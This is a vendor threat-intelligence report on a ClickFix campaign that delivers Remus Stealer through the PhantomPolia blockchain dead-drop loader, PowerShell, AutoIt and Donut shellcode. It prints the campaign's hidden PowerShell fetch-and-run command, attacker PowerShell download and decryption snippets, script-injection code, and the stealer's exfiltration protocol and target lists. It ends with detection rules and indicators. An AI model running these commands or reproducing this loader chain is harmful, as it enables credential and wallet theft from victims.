Cybereason is now LevelBlue. Proven endpoint protection, now with greater scale and expanded capabilities. Learn More

Inside PhantomPolia: Remus Stealer Delivery via Donut Shellcode in ClickFix Campaign

Key Takeaways

  • The LevelBlue Operational Cyber Threat Intelligence (OpsCTI) Team recently observed a ClickFix campaign delivering Remus Stealer through compromised websites.
  • The campaign uses PhantomPolia, a JavaScript loader that retrieves an encrypted configuration from an Ethereum Sepolia smart contract through public Remote Procedure Call (RPC) endpoints. The loader then decrypts the configuration locally using PBKDF2 and AES-GCM, revealing the next-stage command-and-control (C2) domain without exposing it directly on the compromised site.
  • The chain shifts to a ClickFix lure that tricks the victim into running a PowerShell command. The command retrieves and decrypts another configuration using AES-CBC before downloading a bundled installer containing an AutoIt executable and script.
  • The AutoIt script decrypts embedded shellcode and executes it from dynamically allocated executable memory. The shellcode, which is also Donut-packed, ultimately loads the final payload: Remus Stealer.
  • TheRemus Stealer collects a wide range of system information and sensitive data, including credentials, browser data, password managers, and cryptocurrency wallets. The stealer malware compresses the stolen data using a custom method and then encrypts it with ChaCha20 before sending it to the attacker-controlled server.

 

Technical Analysis

The following analysis examines recent PhantomPolia activity observed across multiple incidents, beginning with compromised websites and tracing the infection chain through each stage of execution. An overview of the campaign is shown below:

Figure 1. Overview of the PhantomPolia Operation
Figure 1. Overview of the PhantomPolia operation.

 

Incident Overview

Since the beginning of September 2026, the OpsCTI team has identified multiple ClickFix lure sites that trick victims into running a malicious command. These commands follow a consistent format, resulting in an identical execution chain across multiple incidents. The common command structure observed is shown below:

powerShell.exe -w h -ep bypass -c "iex((iwr '{domain}/check/update.ps1'-UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"


Figure 2. ClickFix Lure
Figure 2. ClickFix lure.

 

Stage 1 - JavaScript: PhantomPolia

During review of the web activity, the ClickFix lure was traced back to compromised websites containing an embedded JavaScript loader.

Figure 3. Embedded PhantomPolia Script
Figure 3. Embedded PhantomPolia script.

The first-stage JavaScript performs several functions to retrieve and decrypt the configuration used to load the next-stage script:

  1. Loader Initialization — Dynamically imports Ethers.js v5.7.2 from CDN fallback locations and initializes the Ethereum JSON-RPC and smart-contract functionality.
  2. Sepolia Ethereum as Dead-Drop Resolver — Attempts to connect to multiple public Ethereum Sepolia RPC endpoints. Then, it instantiates an Ethers.js Contract object using a hardcoded contract address and Application Binary Interface (ABI) containing the getText() read-only function.
  3. PBKDF2 Key Derivation — Uses sample-specific PBKDF2 password material, the retrieved salt, SHA-256, and 100k iterations to derive a 256-bit AES key.
  4. AES-GCM Decryption — Uses the derived key and retrieved IV to decrypt the configuration, producing a Base64-encoded domain.
  5. Next-Stage Script Loading — Combines the decoded domain with a hardcoded script path to construct the URL of the next-stage JavaScript payload.

Loader Initialization

Inspection of the source of the ClickFix lure site reveals that the embedded JavaScript loader is using an indexed string table to dynamically resolve property names:

'hxxps://', '45qtJARF', 'deriveKey', '6748259PIQLPR', 'JsonRpcProvider', 'AES-GCM', '16LYopcc', '1/redmast.js', '687BzxXNx', 'Contract', 'getText', '1119228EQlLeQ', 'body', 'src', 'function', 'length', 'substr', '543231qJoRFc','hxxps://0xrpc[]].io/sep','hxxps://cdn[.]jsdelivr.net/npm/ethers@5.7.2/dist/ethers.esm.js','728901ZpMurD','0x5a3589462b41fa8cF91ac2C7773A285d9c790548','subtle', 'encode', 'log', 'PBKDF2', 'Failed\x20to\x20load\x20from:', 'createElement', '13484LrXEPI', 'script', 'decrypt', '11580VjZXsD', '1573ufZzge', 'warn', 'SHA-256', 'deriveBits', 'split', 'hxxps://1rpc[.]io/sepolia', 'string', 'getBlockNumber', 'appendChild', '180966EjKhPk', 'error'

Among these strings are references to Ethers.js v5.7.2 web3 library, which the loader dynamically imports using multiple CDN locations as fallbacks:

GET hxxps://cdn.jsdelivr[.]net/npm/ethers@5.7.2/dist/ethers.esm.js
GET hxxps://unpkg[.]com/ethers@5.7.2/dist/ethers.esm.js

Ethers.js provides the browser-side Ethereum provider and smart-contract functionality required by the loader to communicate with the Sepolia network.

Sepolia Ethereum as Dead-Drop Resolver

Ethereum Sepolia is a public Ethereum testnet intended primarily for development and testing. In this activity, however, the loader leverages a smart contract on Sepolia as a remotely controlled dead-drop resolver for downstream infrastructure. Rather than embedding the downstream C2 domain directly in the compromised page, the loader retrieves an encrypted configuration from the blockchain and decodes it at runtime. This approach allows the compromised page to operate without hosting or directly referencing any attacker-owned domain.

A similar dead-drop technique has been observed in multiple cases, including the following Magecart Campaign. Given the consistency of the technique and the accompanying encryption routine, we refer to this activity as PhantomPolia.

To retrieve the blockchain-hosted configuration, the loader contains multiple public Sepolia RPC endpoints. It attempts the first provider and falls back to the additional endpoints if the preceding request fails:

GET hxxps://0xrpc[.]io/sep
GET hxxps://1rpc[.]io/sepolia
GET hxxps://eth-sepolia-testnet[.]api.pocket.network

The loader uses these providers to issue an Ethereum JSON-RPC eth_call request against the target smart contract. The contract returns a minimal read-only ABI containing the function selector getText() (0xe00fe2eb) to retrieve the stored value:

Request

Response

{

"method": "eth_call",

"params": [

{

"to": "0x5a3589462b41fa8cf91ac2c7773a285d9c790548",

"data": "0xe00fe2eb"

},

"latest"

],

"id": 46,

"jsonrpc": "2.0"

}

{

"jsonrpc": "2.0",

"id": 46,

"result": "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000008a33366539626161666564663562616366303433666633643836326163336161343a38323132643262646131633436343739393862316139326564616533336238303a61313336313731636637663535306663333963613432353039316364653939616236363035653866363633353636643137303535356339326139616639303930383965633165323800000000000000000000000000000000000000000000"

}

After ABI decoding, the returned value contains the following encrypted configuration:

36e9baafedf5bacf043ff3d862ac3aa4:8212d2bda1c4647998b1a92edae33b80:a136171cf7f550fc39ca425091cde99ab6605e8f663566d170555c92a9af909089ec1e28

The loader splits this value into colon-delimited fields, which provide the parameters required for AES-GCM decryption:

Field

Value

Salt

36e9baafedf5bacf043ff3d862ac3aa4

Initialization Vector (IV)

8212d2bda1c4647998b1a92edae33b80

AES-GCM parameter

a136171cf7f550fc39ca425091cde99ab6605e8f663566d170555c92a9af909089ec1e28

ciphertext

a136171cf7f550fc39ca425091cde99ab6605e8f

GCM Tag

663566d170555c92a9af909089ec1e28


PBKDF2 Key Derivation

The loader does not directly use the blockchain-retrieved value as a decryption key. Instead, it contains another hardcoded value stored in the cPassword variable:

034415dafdf168c75e4600b7c9458e8fcd9db957de0f413947c2333b2e5e240e

This value is imported through the Web Crypto API and used as the PBKDF2 key material. The loader then derives the missing 256-bit AES key using the blockchain-provided salt, 100k iterations rounds, and SHA-256 hashing function. Below is the generated derived key:

cd919a6a7c6e942e9d97773b3069f8b2306a1dd4981203506bb5302cfd4062f2


Figure 4. PBKDF2 key derivation and resulting 256-bit AES key
Figure 4. PBKDF2 key derivation and the resulting 256-bit AES key.

 

AES-GCM Decryption

Finally, the derived 256-bit AES key and IV are then passed to the Web Crypto API for AES-GCM decryption in the decryptDomain() function.

Figure 5. decryptDomain function
Figure 5. decryptDomain function.

Following successful decryption, the resulting bytes are decoded as text and passed to atob(), indicating that the AES-GCM plaintext is Base64-encoded:

Result

Decoded

dmVsbm9kZXJpYy5jb20=

velnoderic.com

Figure 6. AES-GCM decryption routine and Base64 decoded domain
Figure 6. AES-GCM decryption routine and Base64 decoded domain.

An analysis of additional compromised websites identified the same decryption routine across multiple samples. The retrieved infrastructure is summarized below:

Domain

PBKDF2 password

Sepolia Contract

voderlence[.]com

b7a49bfe734499684435a2d5bce25994deccf7fab1752ae98b892bbdee44a056

0x4dBdca7277427eDEe4D5b4E3D012bCa73Aefadf1

nightflamevortex[.]top

9ba9103cf28abf54e63655cc57956403d1f48a42b51d9277a5b94eb2e6116979

0x28B7605bE52B7107cD7710F6F855a1a026E72F4a

voidravenstorm[.]top

baadf410b634ffed2decbc4f66f2613fa2d1559a749aac8a4311631b46cb77ec

0x5eA589954314Fe8D5eCB509b35D77a389912B42F

velnoderic[.]com

034415dafdf168c75e4600b7c9458e8fcd9db957de0f413947c2333b2e5e240e

0x5a3589462b41fa8cf91ac2c7773a285d9c790548

ironphantomcore[.]top

6177effa359be26ba663cb6f511c376a6c6145394bcfb9cc6ad13e26c0efc3e0

0x3b14187b76dc39005E8D568B26455D53bD198749

stormvenomforge[.]top

834cd32eb3b4c87a2bec086625319c50a2625ca839065dabe9fd3c5647105edb

0x61B3e0681f6485e4e85e5eE981757d8B12Ec414f

shadowemberstrike[.]top

a8e443851e9a99444395c156022c599bccaef93cf56788ea76695ec5f79bacfb

0x5A155a3f01fA60C3fa0177022bA05fCC6A313a4D

Note: The analyzed samples use distinct PBKDF2 password material and Sepolia contract addresses. Therefore, each corresponding contract returns encrypted configuration that decodes to a distinct C2 domain, while the same decryption process is used across the samples.

Dedicated to hunting and eradicating the world's most challenging threats.

SpiderLabs

Stage 2 - JavaScript: ClickFix Delivery

The loader then uses the decoded domain to construct the URL for the next-stage payload. It dynamically creates a <script> element and assigns the decrypted domain to its src attribute:

const script = document.createElement("script");
script.src = "https://" + decryptedDomain + "/" + scriptPath;
document.body.appendChild(script);

The scriptPath is also hardcoded in the loader. For the analyzed sample, the resulting resource URL is:

hxxps://<C2 Domain>/<digit>/(redmast|tippro|ladelo|topl|service_worker).js

This second-stage JavaScript performs several functions before delivering the ClickFix payload. The observed activity consists of:

  1. Victim Profiling — Queries a PHP endpoint to obtain the visitor's IP address and country code.
  2. Visitor Registration — Constructs a visitor-specific JSON record containing the unique identifier, IP address, originating domain, User-Agent, country code, and browser language, then Base64-encodes the record for submission to the remote server.
  3. ClickFix Content Retrieval — Sends the encoded visitor record as the stat parameter and processes the returned Base64-encoded data containing the ClickFix HTML elements and PowerShell command.

Victim Profiling

The script first performs basic victim profiling by querying the server for the visitor's network and geographic information.

Method

Request

Response

GET

hxxps://<C2 domain>/(cloclic|cloA3t|clipset|pour| client_api).php

{

"ip": <IP address>,

"country_code": <Country Code>

}


Visitor Registration

The script then constructs a structured visitor record containing information collected from the browser and the profiling response:

{
"uid": <Unique ID>,
"ip": <IP Address>,
"domain": <Referring or Originating Compromised Domain>,
"useragent": <User-Agent>,
"countryCode": <Country Code>,
"language": <Browser language>
}

ClickFix Content Retrieval

The resulting JSON object will be Base64-encoded and included as an additional parameter in a new GET request. If successful, the server will respond with an encoded data object.

Method

Request

Response

GET

hxxps://<C2 domain>/api/v1/statistics/visit?stat=<Base64 blob>

{

"success": true,

" data ": <Base64 blob>

}

Figure 7. Successful response from the remote server, containing a Base64-encoded data object
Figure 7. Successful response from the remote server, containing a Base64-encoded data object.

The decoded response contains HTML elements used to construct the ClickFix prompt, along with a Base64-encoded PowerShell command.

Figure 8. Decoded ClickFix Configurations
Figure 8. Decoded ClickFix configurations.

 

Stage 3 - PowerShell Execution (update.ps1)

The ClickFix command executes a remote script named update.ps1, a consistent filename used by this campaign, which initiates a multi-stage retrieval and decryption chain. The update.ps1 script performs several functions as part of the PowerShell execution chain.

The observed activity consists of:

  1. Initial Download— Performs HTTPS requests using request-specific $id, $nonce, and $ts parameters, with retry logic and the WindowsPowerShell User-Agent, to retrieve the next stage PowerShell script.
  2. Key Retrieval and AES-CBC Decryption — Requests a decryption key from the attacker-controlled server, SHA-256 hashes the UTF-8 encoded key to derive a 256-bit AES key, and Base64-decodes the encrypted content. The first 16 bytes are used as the IV, while the remaining bytes are treated as ciphertext and decrypted using AES-256-CBC with PKCS#7 padding.
  3. Remote Payload Retrieval — The decrypted PowerShell stage defines an executable filename and writes the downloaded payload to the Windows temporary directory (%TEMP%).

Initial Download

The script initializes three request parameters ($sid, $nonce, and $ts) and attempts to retrieve the first-stage content.

GET hxxps://cloudcheckic[.]com/a698891e68d71ead7b51649ec27a1384?id=cf1d026f09e207c1ea44e5e0cb272ee272ab8f96507959dd0b20e0542c666f0f&nonce=c5999babb6d361afb4a799f3fb9f4f00&ts=1789650568000 HTTP/1.1
User-Agent: WindowsPowerShell
Host: cloudcheckic[.]com
Connection: Keep-Alive

try {
  $sid=''
  $nonce=''
  $ts=

  $stage1Retries = 3
  $stage1Content = $null

  for ($r = 1; $r -le $stage1Retries; $r++) {
   try {
     $stage1Response = Invoke-WebRequest -Uri "hxxps:// cloudcheckic[.]com/fea685e85ae8f904b3e979afc0e062bb?id=$sid&nonce=$nonce&ts=$ts" -UseBasicParsing -TimeoutSec 10 -UserAgent 'WindowsPowerShell'

Note: The request parameters and observed URL path vary between requests, resulting in dynamic generation of URL path.

The script attempts the request up to three times. If a request fails, it waits two seconds before trying again. When a response containing content is received, the response body is stored in $stage1Content.

if ($stage1Response -and $stage1Response.Content) {
   $stage1Content = $stage1Response.Content
   break
  }
} catch {
  if ($r -ge $stage1Retries) { throw "Failed to get Stage-1 after $stage1Retries attempts" }
  Start-Sleep -Seconds 2
}


Key Retrieval and AES-CBC Decryption

When a response containing content is received, the response body is stored in $stage1Content. This will hold another PowerShell script.

try {
  $sid=''
 
$nonce=''
  $ts=
  $encryptedData=''
  $expectedStage2Hash=''
  $keyPath='/'
$keyUrl="hxxps://cloudcheckic[.]com/3956c8bdebb48342cb2e265b6be19ae4?id=$sid&nonce=$nonce&ts=$ts"
  $keyRetries = 3
  $keyData = $null
  for ($r = 1; $r -le $keyRetries; $r++) {
   try {
       $keyData = Invoke-WebRequest -Uri $keyUrl -UseBasicParsing -TimeoutSec 10 -UserAgent 'WindowsPowerShell'
     if ($keyData -and $keyData.Content) { break }
   } catch {
     if ($r -ge $keyRetries) { throw "Failed to get key after $keyRetries attempts" }
     Start-Sleep -Seconds 2
   }
}

This script initializes a separate set of request parameters and retrieves additional data from the same domain:

GET hxxps://cloudcheckic[.]com/3956c8bdebb48342cb2e265b6be19ae4?id=11a879d4599de275ab48f899bb6c507cb80559204178c1854de131c5cc7af65f&nonce=eb82ad83d725e7f703d0bdc7b2927f8d&ts=1789650643328 HTTP/1.1
User-Agent: WindowsPowerShell
Host: cloudcheckic[.]com
Connection: Keep-Alive

Unlike the first-stage response, this request returns a JSON object containing a key value. The retrieved key is used as the input for the next key derivation process. Also, the key is the same value to $sid.

{"key":"11a879d4599de275ab48f899bb6c507cb80559204178c1854de131c5cc7af65f"}

The script converts the retrieved key to UTF-8 bytes and hashes it using SHA-256. The resulting 32-byte SHA-256 digest is used as the AES key.

The data stored in $encryptedData is Base64-decoded and divided into two parts. The first 16 bytes are extracted as the Initialization Vector (IV), while the remaining bytes are treated as ciphertext:

$sha256=[System.Security.Cryptography.SHA256]::Create()
$key=$sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($decryptionKey))

$encData=[System.Convert]::FromBase64String($encryptedData)
$iv=New-Object byte[] 16
$ciphertext=New-Object byte[] ($encData.Length - 16)
[Array]::Copy($encData, 0, $iv, 0, 16)
[Array]::Copy($encData, 16, $ciphertext, 0, $ciphertext.Length)

The script then configures the AES implementation with CBC mode and PKCS7 padding:

$aes=[System.Security.Cryptography.Aes]::Create()
$aes.Key=$key
$aes.IV=$iv
$aes.Mode=[System.Security.Cryptography.CipherMode]::CBC
$aes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7

The decrypted content is subsequently used by the PowerShell execution chain for the next stage:

Figure 9. Key derivation and AES-CBC decryption logic used to decrypt the retrieved stage PowerShell Script
Figure 9. Key derivation and AES-CBC decryption logic used to decrypt the retrieved stage PowerShell script.

 

Remote Payload Retrieval

The decrypted PowerShell script defines a temporary directory, an executable filename, and the URL used to retrieve the executable:

$tempPath = [System.IO.Path]::GetTempPath()
$exeName = <Hardcoded File Name>
$exePath = Join-Path $tempPath $exeName
$downloadSource = "hxxps://cloudcheckic.com/f654a79f56219371b242f551552191a7"

The script obtains the system's temporary directory. Then it defines the executable filename and destination. Below are the observed executable filenames:

data_work.exe | current-cache.exe | audio-music.exe | download-package.exe


Stage 4 - AutoIt Script

The downloaded installer is pre-bundled with AutoIt3.exe, which drops and loads an .au3 script from the same folder location.

"%Temp%\{randomized}\AutoIt3.exe" %Temp%\{randomized}\(Setup_e30ea5.au3 | AutoStart_33875e.au3 | Config_9571a0.au3)


Figure 10. AutoIt process execution logs
Figure 10. AutoIt process execution logs.

The AutoIt script stores a large Base64-encoded encrypted blob. The F79F6tx() function calls the Windows CryptStringToBinaryA API from crypt32.dll to convert this blob into binary data.

Figure 11. Base64-encoded encrypted blob stored in the AutoIt script
Figure 11. Base64-encoded encrypted blob stored in the AutoIt script.

The resulting binary data and the hexadecimal key material are then passed to FxTUleHs(). This function converts the hexadecimal key material into raw bytes, constructs a custom CryptoAPI key blob containing the key size and key material, and imports the key through the Windows CryptoAPI:

  • CryptAcquireContextW— obtains a cryptographic provider context.
  • CryptImportKey — imports the constructed key blob.
  • CryptDecrypt— decrypts the binary data.

Figure 12. CryptoAPI key import and decryption routine
Figure 12. CryptoAPI key import and decryption routine.

After decryption, the FhY61r7A() function checks the size of the resulting buffer. If the decrypted data is at least 100 bytes, the script allocates memory using VirtualAlloc(..., $sz, 0x3000, 0x40). The observed allocation parameters are:

  • 0x3000 — MEM_COMMIT | MEM_RESERVE
  • 0x40 — PAGE_EXECUTE_READWRITE

The decrypted buffer is then copied into the allocated memory region using DllStructSetData(). Finally, the script calls CreateThread() and supplies the address returned by VirtualAlloc() as the thread start address, causing the decrypted data to execute directly from the allocated memory region.

 

Stage 5 - Donut Shellcode

The extracted shellcode is injected into the same AutoIt process. Analysis of the sample indicates that the shellcode is packed using Donut with the following configuration:

{
"Instance Type": "DONUT_INSTANCE_EMBED",
"Entropy Type": "DONUT_ENTROPY_DEFAULT",
"Decoy Module": "",
"Module Type": "DONUT_MODULE_DLL",
"Compression Type": "DONUT_COMPRESS_NONE"
}

There is a publicly available donut-decryptor that can be used to unpack and extract the final payload. In the analyzed shellcode, the extracted payload is a Remus Stealer sample.

Figure 13. Extracting Remus Stealer from the donut-packed shellcode
Figure 13. Extracting Remus Stealer from the donut-packed shellcode.

 

Final Stage: Remus Stealer

Remus Stealer is an information-stealing malware publicly observed on February 12, 2026, on a Russian-language underground forum. The stealer malware exhibits similarities to the Lumma malware family and has been characterized by researchers as a potential successor.

Beacon Sequence

Before exfiltrating the collected information, Remus performs a three-stage communication sequence:

Request #

Sequence

Body

1

Registration Request

tag=<32-hex campaign-id>&exp=<Unix>&hwid=<32-hex host fingerprint>

2

Token Assignment

access_token=<UUID>&debug=<encoded_data>

3

Data Upload

3 fields: access_token=<UUID>, type=0, name=file (filename=data, octet-stream)

Remus resolves the WinHTTP functions used for network communication at runtime through hashed API names. The observed API sequence is:

  • WinHttpOpen going to spogear[.]click:3546 with User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
  • WinHttpConnect, WinHttpOpenRequest (POST method)
  • WinHttpSendRequest (Content-Type: application/x-www-form-urlencoded)
  • WinHttpReceiveResponse
  • WinHttpReadData

Figure 14. WinHTTP functions used for communication with the remote server
Figure 14. WinHTTP functions used for communicating with the remote server.


Sequence No. 1: Registration Request

The first beacon request registers the victim with the remote server using three parameters. In the analyzed sample, the registration request was sent to github[.]com using the /comments endpoint. The request used application/x-www-form-urlencoded encoding and included the following parameters:

  • tag - Cleartext Campaign ID. This is an embedded MD5 value in the .rdata section of the binary.
  • exp - Unix Timestamp.
  • hwid - Victim Hardware Identifier.

POST /comments HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Host: github[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 89

tag=eb39e…8de60&exp=1789747829& hwid=a9f5b…a9af5


Sequence No. 2: Token Assignment

Following successful registration, the server issues a session token that the malware uses as access_token parameter for subsequent communication.

Figure 15. Token assignment response
Figure 15. Token assignment response.

POST /comments HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Host: github[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 142

access_token=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&debug=58d83eff9…f569ce0ce


Sequence No. 3: Data Upload

The third stage transmits collected information through a multipart/form-data POST request. The request contains three form parts.

Form Part

Observed Value

access_token

Session token <UUID>

type

0

file

Encrypted Blob

Figure 16. Wireshark Follow-HTTP-Stream view of Data Upload traffic
Figure 16. Wireshark Follow-HTTP-Stream view of data upload traffic.

The access_token value is the same session token inherited from previous request. The type has a value of 0. The file field octet-stream body contains encrypted binary data that reveals various system information upon decryption.

Exfiltration: Host and Environment Data

The malware collects this system information using Windows Management Instrumentation (WMI) queries against the ROOT\CIMV2and ROOT\SecurityCenter2 namespaces. Observed queries include:

"SELECT * FROM Win32_OperatingSystem"
"SELECT * FROM Win32_VideoController"
"SELECT * FROM AntiVirusProduct"

Figure 17. ‘Info.yml’ data containing collected system and host information
Figure 17. ‘Info.yml’ data containing collected system and host information.

The resulting collected host and environment information are then saved to Info.yml. The malware then processes the collected data using custom LZ77 implementation rather than a standard zlib compression. Below are the observed collected fields:

Build date and campaign tag
Malware execution path
Elevation status
IP address and country
Collection timestamp
Windows version and architecture
Time zone, local date, and installation date
System language
Computer, username, NetBIOS, and hostname values
Antivirus product and state
Motherboard manufacturer and product
CPU manufacturer, model, and reported core/thread information
GPU information
Display resolution

The compressed data containing the Info.yml is subsequently encrypted with ChaCha20 using a per-message key and nonce. A notable implementation characteristic is that the resulting blob contains:

[ ciphertext ][ 32-byte key ][ 8-byte nonce ]

The final 40 bytes therefore consist of the encryption material itself: a 32-byte ChaCha20 key followed by an 8-byte nonce.

Figure 18. Decrypted contents of the ChaCha20-encrypted host and environment data exfiltration blob
Figure 18. Decrypted contents of the ChaCha20-encrypted host and environment data exfiltration blob.

Note: Since key and nonce are present within the captured data blob and can be extracted directly, we can decrypt the ciphertext from the traffic without recovering a separate key from the malware configuration or attacker-controlled server.

Exfiltration: Application and Credential Data

In addition to the access_token, the server provides a separate encrypted JSON configuration containing collection tasks. After decryption, the configuration resolves into collection labels and extension or filesystem identifiers.

Figure 19. Encoded Remus configuration
Figure 19. Encoded Remus configuration.

Below is the sample decrypted task that targets Armory Bitcoin Wallet data:

"type": 0,

"name": "VtkKWwG4ZjczrXk=",

"data": {

"YKl7CEWpOggQqQsIJKkaCBSpGghFqQ==": [

{

"path": "21e9DZpXzw22V9INqVfEDQ==",

"name": "89+SEbKt/36Bpg==",

"mask": [

"KnMqwQBzBMFdc0vBRnNGwU9zXsE="

],

"depth": 1

"type": 0,

"name": "Wallets",

"data": {

"%AppData%": [

{

"path": "Data\\Roaming",

"name": "Armory",

"mask": [

"*.wallet"

],

"depth": 1

Observed targeting extends across the following categories.

Category

Target

Applications

1Password, 3D-FTP, AnyClient, AnyDesk, Authy Desktop, Auto FTP Manager, Azure, Bitwarden, Codex, Cursor, Em Client, FileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud, KeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes, Telegram, Telegram UWP, TotalCommander, UltraVNC

Wallets

Armory, Atomic, Binance, Bitcoin Core, Coinomi, Daedalus, DashCore, ElectronCash, Electrum, Electrum-LTC, Ethereum, Exodus, Gleec, Guarda, JAXX New Version, Ledger Live, Neon, Ripple, Sparrow, Wasabi

Chromium-Based Browsers

360 Security Browser, Arc Browser, AVG Secure Browser, Brave-Browser, CentBrowser, Chedot, Chrome, Chrome Beta, Claude Code, CocCoc Browser, Comet Browser, CryptoTab Browser, Discord, Discord Canary, DiscordPTB, Edge, Epic Privacy Browser, Iridium, Maxthon, Opera, Opera Air, Opera GX, Opera Neon, QQBrowser, UCBrowser, Vivaldi, Wave Browser

Mozilla-Based Browsers

Floorp Browser, Mozilla Firefox, Thunderbird, Waterfox, Zen Browser

Authenticator and 2FA

2FA Authenticator, 2FAS Auth, Authenticator, Authenticator 2FA Client, Authenticator App, Authy, EOS Authenticator, GAuth Authenticator, Google Authenticator, MFA (Multi Factor Authentication Assistant), TOTP Authenticator, Two-Factor Authentication, TypingDNA 2FA Authenticator, Web2FA

Password manager

1Password, 1Password Nightly, AuthX Lite, Avira Password Manager, Bitwarden, BrowserPass, ByePass, C2 Password, Cloaked, CommonKey, Cyclonis, Dashlane, DualSafe, Enpass, ESET Password Manager, F-Secure Password Manager, GateKeeper, heylogin, IronVest, JumpCloud, Kee, Keeper, LastPass, MindYourPass, MultiPassword, MYKI Password Manager & Authenticator, Netwrix Password Secure, Norton Password Manager, Passbolt, Passky, Password Boss, Password Depot, pCloud Pass, Proton Password Manager, RoboForm, SAASPASS Password Manager & Authenticator, SafeInCloud, SecureSafe, Steganos, Sticky Password Manager, Total Password, Trezor Password Manager, Zoho Vault

Screen Capture

Captures the entire virtual desktop (all monitors) via GDI and encodes as a 32bpp BMP, appended to the exfiltration collection

Similarly, these stolen artifacts are processed using the same compression and ChaCha20 encryption mechanisms before exfiltrating it to the attacker-controlled server.

Figure 20. Decrypted contents of the ChaCha20-encrypted application and credential data exfiltration blob
Figure 20. Decrypted contents of the ChaCha20-encrypted application and credential data exfiltration blob.

 

Conclusion

ClickFix continues to evolve as threat actors combine familiar social engineering techniques with legitimate services, system utilities, and increasingly complex delivery chains. While the initial lure and downstream infrastructure may vary between campaigns, the delivery mechanism observed in the samples analyzed remains consistent. This highlights how threat actors can combine legitimate tools and services to build a multi-stage attack chain to avoid directly exposing their infrastructure.

In addition to ClickFix, the threat actor uses several tools and techniques throughout the campaign, including the PhantomPolia loader as a dead-drop resolver, PowerShell and AutoIt scripts for malware staging, and Donut-packed shellcode for fileless execution. This creates multiple layers of evasion before delivering the final payload: Remus Stealer. From a defensive perspective, this also provides several opportunities for detection, from the initial user interaction through payload execution and command-and-control activity. LevelBlue combines managed detection and response with threat intelligence to help customers identify and respond to emerging threats, as well as disrupt similar campaigns brought about by threat actors’ continuous updating of their tactics and infrastructure.

 

Appendix A: Hunting Opportunities

Suricata

# Stage 1 — PhantomPolia Ethereum Sepolia lookup

alert http $HOME_NET any -> any any (msg:"PhantomPolia Ethereum Sepolia eth_call";flow:established,to_server;http.method; content:"POST";http.header; content:"Content-Type|3A| application/json";http.request_body; content:"\"method\":\"eth_call\"";classtype:trojan-activity;)

alert http $HOME_NET any -> any any (msg:"PhantomPolia known Sepolia contract lookup";flow:established,to_server;http.request_body;content:"\"to\":\"0x5a3589462b41fa8cf91ac2c7773a285d9c790548\"";classtype:trojan-activity;

# Stage 2 — ClickFix delivery

alert http $HOME_NET any -> any any (msg:"PhantomPolia ClickFix visitor registration";flow:established,to_server;http.method; content:"GET";http.uri; content:"/api/v1/statistics/visit";http.uri; content:"stat=";classtype:trojan-activity;)

# Stage 3 — PowerShell delivery

alert http $HOME_NET any -> any any (msg:"Remus ClickFix update.ps1 retrieval";flow:established,to_server;http.method; content:"GET";http.uri; content:"/check/update.ps1";classtype:trojan-activity;)

# Remus Registration Beacon

alert http $HOME_NET any -> any any (msg:"Remus Stealer registration beacon";flow:established,to_server;http.method; content:"POST";http.header; content:"application/x-www-form-urlencoded";http.request_body;content:"tag=";content:"exp=";content:"hwid=";classtype:trojan-activity;)

# Remus Token Assignment

alert http $HOME_NET any -> any any (msg:"Remus Stealer token assignment";flow:established,to_server;http.method; content:"POST";http.header; content:"application/x-www-form-urlencoded";http.request_body;content:"access_token=";content:"debug=";classtype:trojan-activity;)

# Remus Data Upload

alert http $HOME_NET any -> any any (msg:"Remus Stealer multipart data upload";flow:established,to_server;http.method; content:"POST";http.header; content:"multipart/form-data";http.request_body;content:"name=|22|access_token|22|";content:"name=|22|type|22|";content:"name=|22|file|22|";content:"filename=|22|data|22|";content:"application/octet-stream";classtype:trojan-activity;)


EDR

# AutoIt Execution

process_name = "AutoIt3.exe" AND command_line MATCHES /(Setup|AutoStart|Config)_[A-Za-z0-9]{6}\.au3/i

# PowerShell Execution

process_name = "powershell.exe" AND command_line MATCHES /(-w\s+h|-WindowStyle\s+Hidden).*?(-ep\s+bypass|-ExecutionPolicy\s+Bypass).*?(-c\s+|-Command\s+).*?(iex|Invoke-Expression).*?(iwr|Invoke-WebRequest)/i

# Sepolia RPC Endpoint Connections (Unexpected connections)

remote_url MATCHES /^https?:\/\/(0xrpc\.io\/sep|1rpc\.io\/sepolia|eth-sepolia-testnet\.api\.pocket\.network)/i

# RunMRU Registry

registry_path = "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" AND registry_value MATCHES /(powershell|pwsh|curl|wscript|cscript|cmd)\.exe/i

# C2 Web Request (Staging Artifacts)

remote_url MATCHES /\/[0-9]+\/(redmast|tippro|ladelo|topl|service_worker)\.js/i

remote_url MATCHES /\/check\/update\.ps1)/i

# C2 Web Request (Victim Profiling and Registration)

remote_url MATCHES /\/(cloclic|cloA3t|clipset|pour|client_api)\.php/i

remote_url MATCHES /\/api\/v1\/statistics\/visit\?stat\=/i

 

Appendix B: Indicators of Compromise (IoC)

IOC Value

Description

voderlence[.]com

PhantomPolia Domain

nightflamevortex[.]top

voidravenstorm[.]top

velnoderic[.]com

ironphantomcore[.]top

stormvenomforge[.]top

shadowemberstrike[.]top

workeslexamp[.]com/check/update[.]ps1

ClickFix URL

cloudcheckic[.]com/check/update[.]ps1

spaceclou[.]com/check/update[.]ps1

littworkers[.]com/check/update[.]ps1

cokakina[.]com/check/update[.]ps1

